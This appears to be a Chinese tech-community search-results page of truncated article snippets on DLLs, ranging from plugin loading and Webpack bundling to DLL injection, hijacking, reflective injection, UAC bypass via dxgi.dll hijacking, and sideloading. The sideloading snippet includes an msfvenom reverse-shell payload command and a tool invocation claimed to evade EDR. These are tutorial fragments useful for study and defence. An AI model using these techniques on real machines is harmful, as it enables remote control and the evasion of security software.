展开

关键词

基于OEA框架的客户化设计(三) “插件式”DLL

本篇主要描述GIX4项目中如何把单独的模块设计为一个“插件”,如何把它组装到系统中。至于为什么加引号,之后会有说明。 动态加载DLL     在产品线工程的开发中,需要动态加载的DLL,是上述的“721”中的“2” 和“1”。     OEA框架中,使用MEF作为插件框架。 所有DLL中,实现了IModule接口的 按照约定,把GIX4.Contract.Library.dll 和 GIX4.Contract.Module.WPF.dll 两个dll分别放置到Library 的,也就是说,合同模块不是真的插件,而是在产品编译期已经知道必须包含这个DLL。 所以目前只是做到编译期选择装配,而不是运行时动态插入新的DLL,这就是为什么一开始说合同模块并不是真正的插件的原因了。 总结     到本篇为止,客户化的内容已经基本说明。

30990

DLL injection

所谓的dll注入即是让程序A强行加载程序B给定的a.dll,并执行程序B给定的a.dll里面的代码。 注意,程序B所给定的a.dll原先并不会被程序A主动加载,但是当程序B通过某种手段让程序A“加载”a.dll后,程序A将会执行a.dll里的代码,此时,a.dll就进入了程序A的地址空间,而a.dll模块的程序逻辑由程序 dll注入实现过程 即 1.附加到目标/远程进程 2.在目标/远程进程内分配内存 3.将DLL文件路径,或者DLL文件,复制到目标/远程进程的内存空间 dll -o inject.dll 然后手写一个dll注入器: #include<Windows.h> #include<stdio.h> using namespace std; int main 之后跟DLL注入一般,使用VirtualAlloc和WriteProcessMemory将DLL写入目标进程。

26040
  • 广告
    关闭

    腾讯云精选爆品盛惠抢购

    腾讯云精选爆款云服务器限时体验20元起,还有更多热门云产品满足您的上云需求

  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    Unity与 DLL文件 ☀️| 什么是DLL✨?

    前言 在之前的文章有介绍过so文件,那本篇文章就来介绍一些DLL文件吧! 提起DLL文件,大家肯定不会陌生,就算自己没编写生成过DLL文件,那也一定见过! 一个应用程序可有多个DLL文件,一个DLL文件也可能被几个应用程序所共用,这样的DLL文件被称为共享DLL文件。 ,应用程序通过按下所需DLL中特定的按钮,来调用DLL中这个按钮所代表的功能 在查阅资料时看到有篇文章是这样说的: Windows中有3个非常重要的底层DLL:Kernel32.dll、User32.dll 这样来看的话Windows和DLL文件确实关系密切的很,在底层代码上都有互动呢! 为什么要用DLL? 那么我们为什么要用DLL文件呢? 介绍一些关于DLL的大概知识,方便我们以后使用Unity的过程中遇到DLL文件时可以有个一知半解 那本篇文章对于DLL文件的介绍就到这里了,后面会写文章介绍怎样生成一个DLL文件和在Unity中调用DLL

    18420

    DLL 注入

    介绍 什么是 DLL 根据MSDN,DLL 是一个库,其中包含可以由多个程序同时使用的代码和数据。 DLL 通常用于将程序模块化为单独的组件,如果模块存在,则每个模块都由主程序加载。 这要求我们在机器上拥有 dll 并要求我们知道 dll 的路径。 LoadLibraryA使我们能够将 dll 从磁盘加载到内存中。这个函数为我们完成了所有的工作,只需要我们将路径传递给 dll 就可以了。 手动映射 DLL 可以让您执行 LoadLibrary 将 dll 加载到另一个进程中所做的所有操作,而无需将 dll 显示在模块列表中,这意味着如果某些程序试图遍历所有加载的模块,他们将看不到您的 dll 然而,这对我们的最终目标不起作用,因为我们想使用此代码将 dll 注入另一个进程。由于我们将此 dll 注入另一个进程,因此该进程将不得不进行导入解析。

    6800

    Webpack DLL

    认识DLL库 什么是DLL DLL全称是动态链接库(Dynamic Link Library),是为软件在Windows中实现共享函数库的一种实现方式; 那么webpack中也有内置DLL的功能,它指的是可以将可以共享 /dll"), filename:"dll_[name].js", library:"dll_[name]" }, plugins 但是现在有了dll_react,不再需要单独去打包它们,可以直接去引用dll_react即可: 第一步:通过DllReferencePlugin插件告知要使用的DLL库; 第二步:通过AddAssetHtmlPlugin 插件,将打包的DLL库引入到Html模块中; new DllReferencePlugin({ context:path.resolve(__dirname, "../"), manifest /dll/dll_react.js") })

    9430

    DLL之旅1 : 将程序打包成DLL

    解决想法: 共用的函数重命名,虽然功能一样,但是名字不一样(简单粗暴,但是共用的函数多了就相当恶心,治标不治本) ; 将共用的函数打成动态链接库(lib、dll)。 分装DLL步骤 Step1. 新建win32的DLL项目 ? ? Step2 代码 就两个文件: 头文件: qShareDll.h 源文件: qShareDll.c Step2.1 头文件代码 #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H C编译器不会 _declspec(dllexport)说明该函数为导出函数 如果函数用_stdcall进行修饰,在动态引用的时候,要对函数指针也要进行_stdcall修饰 Next计划 [C-C++]DLL 之旅2 : 调用DLL(静态&动态加载)

    38630

    DLL之旅2 : 调用DLL(静态&动态加载)

    转载请注明:转载自 祥的博客 原文链接:http://blog.csdn.net/humanking7/article/details/78586478 ---- 接着上文《DLL之旅1 : 将程序打包成 DLL》,现在调用动态链接库有两种方法。 1.静态加载 需要文件(一个都不能少): 头文件: qShareDll.h 编译生成的lib文件 : TestDll.lib – 编译需要 编译生成的dll文件 : TestDll.dll – 运行需要 头文件: qShareDll.h #ifndef _Q_SHARE_DLL_H #define _Q_SHARE_DLL_H extern "C" _declspec(dllexport) double "); //用于加载dll //如果当初头文件中有 "_stdcall" 修饰 //typedef double(_stdcall *ADDPROC)(double, double);

    51610

    DLL劫持详解

    Windows操作系统通过“DLL路径搜索目录顺序”和“Know DLLs注册表项”的机制来确定应用程序所要调用的DLL的路径,之后,应用程序就将DLL载入了自己的内存空间,执行相应的函数功能。 导出表包含 DLL 导出到其他可执行文件的每个函数的名称,这些函数是 DLL 中的入口点;只有导出表中的导出函数可由其他可执行文件访问。DLL 中的任何其他函数都是 DLL 私有的。 : case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; dll转发的方式 dll转发顾名思义,就是要保留原来的dll,再生成一个恶意的dll执行代码,代码如下 // dllmain.cpp : 定义 DLL 应用程序的入口点。 转发对主程序的依赖非常的高,报错是CreateWindowsEx()返回值为空报错,当使用转发,让程序先走恶意的dll(SciLexer.dll),再走正常的dll的时候(SciLexer_re.dll

    9310

    Sideloading DLL攻击

    最后以一份表格总结了各类功能以及绕过效果: 我们可以看到,dll几乎绕过了所有的EDR,而这里的DLL指的便是Sideloading DLL。 Sideloading DLL最早应该是在一份APT报告中被提出来的,即DLL侧加载。 利用方法: 首先找到一个存在dll加载(或劫持)的程序,然后使用msf生成dll msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f dll -a x86 > payload.dll 然后使用DLLSideloader来生成我们的转发dll,工具地址: https://github.com/SkiddieTech/DLLSideloader 然后生成所需的文件即可 Invoke-DLLSideLoad libcurl.dll payload.dll 然后执行exe文件,即可获取session。

    34130

    DLL攻击漫谈

    这意味着,如果DLL包含任何异常,则不会为调用EXE提供任何保护。恶意攻击者可以通过使用诸如DLL劫持或DLL代理之类的方法来执行其恶意代码来利用这一事实。 攻击 DLL包含要由加载过程执行的代码,这会造成一种情况,即可以利用丢失的DLL或以不安全的方法实现的DLL来诱骗正在运行的系统执行恶意有效负载,在这种情况下,它利用本机DLL搜索顺序。 攻击利用过程 当我们确定某个进程按某个搜索顺序搜索DLL,并且缺少DLL 或者错误实现的DLL的进程之后,才能够进行下一步攻击 第一步:确定DLL 首先,我们从Sysinternals设置ProcMon 第二步:查找DLL和利用 在查找这些DLL时,得出的结论是Riched32.DLL是非本地DLL,因此,注册表中没有该DLL的默认搜索路径。但是如果我们正确配置它,系统最终也会加载它。 DLL命名为Riched32.dll放进Bginfo64.exe的DLL文件夹中。

    45610

    python 调用dll

    首先用visual studio写个dll。 // TestDll.cpp : Defines the entry point for the DLL application. // #include “stdafx.h” #include <iostream include <windows.h> int _tmain(int argc, _TCHAR* argv[]) {  HMODULE hDll = ::LoadLibrary(TEXT(“TestDll.dll hDll, “HelloWorld”);  pHello();  return 0; } 而python的调用也很简单: from ctypes import * fileName=”TestDll.dll

    15220

    如何查看exe或dll调用了什么dll

    3.插件DLL的秘密 Winamp、Foobar 2000等很多软件都具有插件功能,从网上下载一个DLL放在插件目录下就能让程序支持新的功能,这是怎么做到的呢? “千千静听”的插件目录在该软件安装目录下的Addin子目录下,程序的插件目录一般都会以“Plugins”、“Addin”来命名。 在“千千静听”的插件目录中有许多DLL文件,比如tt_asf.dll、tt_rm.dll等,从文件名中就能看出这些DLL是用来让这个播放器支持各种不同类型的音频文件的。 这就是插件的秘密,各种支持插件功能的程序在发布时,都会同时发布一份插件协议,协议中规定了该程序将要调用的插件DLL中必须包含的函数名称及相关的参数规则,然后第三方的插件程序员在编写这个程序的插件时就根据这个插件的标准来编写 ①对于插件tt_asf.dll ttplayer.exe(“千千静听”主程序)对tt_asf.dll说:“我要调用你的ttpGetSoundAddIn函数!” tt_asf.dll回答:“OK。”

    4.4K20

    bypassUAC && DLL劫持

    0x12 BypassUAC 下面我们来查找一下具有该权限的应用程序,并利用DLL劫持的方法来bypassUAC,关于DLL劫持的原理这里不再论述,网上已经有多相关的文章了。 我们最后选择了winsat.exe这个程序作为我们的劫持程序,下面就是查看该程序会加载的DLL。 ? 发现其会加载dxgi.dll。 下面就是需要编写我们的dll了,原理如下(图来自国外) ? 可以通过dllexp来查看dll内的函数 ? 你可以自行编写所需要的dll,也可以使用一些自动化工具来生成所需的dll。 : case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } 但是这里又碰上了一个问题 /blob/master/dll_hijacking_candidates.csv ?

    40320

    调用dll函数

    rundll32 直接调用dll函数,rundll32 dllpath,func param1 param2 … 执行步骤 它分析命令行。 当 <entrypoint> 函数返回时,Rundll.exe 将卸载 DLL 并退出。 功能: 关闭系统 命令列: rundll32.exe shell32.dll,Control_RunDLL 功能: 显示控制面板 命令列: rundll32.exe shell32.dll (同rundll32.exe shell32.dll,Control_RunDLL main.cpl @2) 命令列: rundll32.exe shell32.dll,Control_RunDLL .dll,Control_RunDLL themes.cpl 功能: 显示“桌面主题”选项面板 命令列: rundll32.exe shell32.dll,Control_RunDLL firewall.cpl

    39320

    DLL注入新姿势:反射式DLL注入研究

    因此我在这里介绍一种新的DLL注入方式,它不需要在文件系统存放目标DLL,减少了文件“落地”被删的风险。同时它不需要像常规的DLL注入方式那么套路,因此更容易通过杀软的行为检测。 0×02 注射器实现 要实现反射式注入DLL我们需要两个部分,注射器和被注入的DLL。 同时,由于DLL中可能会用到其他DLL的函数,装载一个DLL还需要将这个DLL依赖的其他动态库装入内存,并修改DLL的IAT指向到合适的位置,这样对其他DLL函数的引用才能正确运作。 再根据PE文件的节表将各个节复制到相应的位置中. 5) 处理DLL的引入表 被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行 0×04 总结 反射式DLL注入是一种新型的DLL注入方式,它不需要像传统的注入方式一样需要DLL落地存储,避免了注入DLL被安全软件删除的危险。

    1.1K30

    dll生成和使用

    项目目录 源代码 .h文件 // 下列 ifdef 块是创建使从 DLL 导出更简单的 // 宏的标准方法。 此 DLL 中的所有文件都是用命令行上定义的 DLLGENERATE_EXPORTS // 符号编译的。在使用此 DLL 的 // 任何其他项目上不应定义此符号。 这样,源文件中包含此文件的任何其他项目都会将 // DLLGENERATE_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的 // 符号视为是被导出的。 dll查看.png 动态调用dll文件 声明头文件<windows.h>,说明我想用windows32方法来加载和卸载DLL 然后用typedef定义一个指针函数类型.typedef int -1; } else { cout << "load dll success!"

    31320

    Python调用DLL

    C语言中的函数默认是__cdecl调用,C++中可用__stdcall来显示声明调用,但也可以用extern “C” 用python调用dll时需要根据不同的调用约定而使用不同的函数。 dll源文件: [cpp] view plaincopy #include <iostream> extern "C" _declspec(dllexport) int __stdcall  /usr/bin/python from ctypes import *   dll = windll.LoadLibrary('D:/CodeFile/Monitor/Debug/CppDll.dll ')   print(dll.stdAdd(2, 4))   print(dll.cdeAdd(2, 4))   最后结果: 由结果可知,cdeAdd访问出现异常。 总结:如果dll是stdcall调用,则python中用windll加载,如果dll是cdecl调用,则python用cdll加载。 注*以上是在python3.3中运行的

    69620

    干货 | DLL劫持

    DLL劫持漏洞(DLL Hijacking Exploit),严格点说,它是通过⼀些⼿段来劫持或者替换正常的DLL,欺 骗正常程序加载预先准备好的恶意DLL的⼀类漏洞的统称。 原理 DLL劫持漏洞之所以被称为漏洞,还要从负责加载DLL的系统API LoadLibrary 来看。熟悉Windows代 码的同学都知道,调⽤ LoadLibrary 时可以使⽤DLL的相对路径。 PATH环境变量中列出的⽬录 dll劫持就发⽣在系统按照顺序搜索这些特定⽬录时。只要⿊客能够将恶意的DLL放在优先于正 常DLL所在的⽬录,就能够欺骗系统优先加载恶意DLL,来实现“劫持”。 在vs中编写恶意dll源⽂件后编译,把编译好的恶意dll⽂件名修改为需要劫持的dll⽂件名 后放⼊到notepad++.exe下的同级⽬录下(放在其他地方也可以,只要在dll寻找目录中): // dllmain.cpp 5.在vs2019中编写恶意dll⽂件后编译,将恶意dll⽂件名修改为所要劫持的dll⽂件名,将原dll⽂件名修改为恶意dll⽂件中所设置的⽂件名 #include "pch.h" extern "C"

    45120

    相关产品

    • 代码签名证书

      代码签名证书

      腾讯云代码签名证书(CSC)提供各平台程序的签名服务,标识软件或代码的来源以及软件开发者的真实身份,同时保证软件不被恶意篡改。签名后的软件,在下载安装时不会弹出安全警告,用户能够有效的辨别该软件的可信度,从而建立良好的软件品牌信誉度。

    相关资讯

    热门标签

    扫码关注云+社区

    领取腾讯云代金券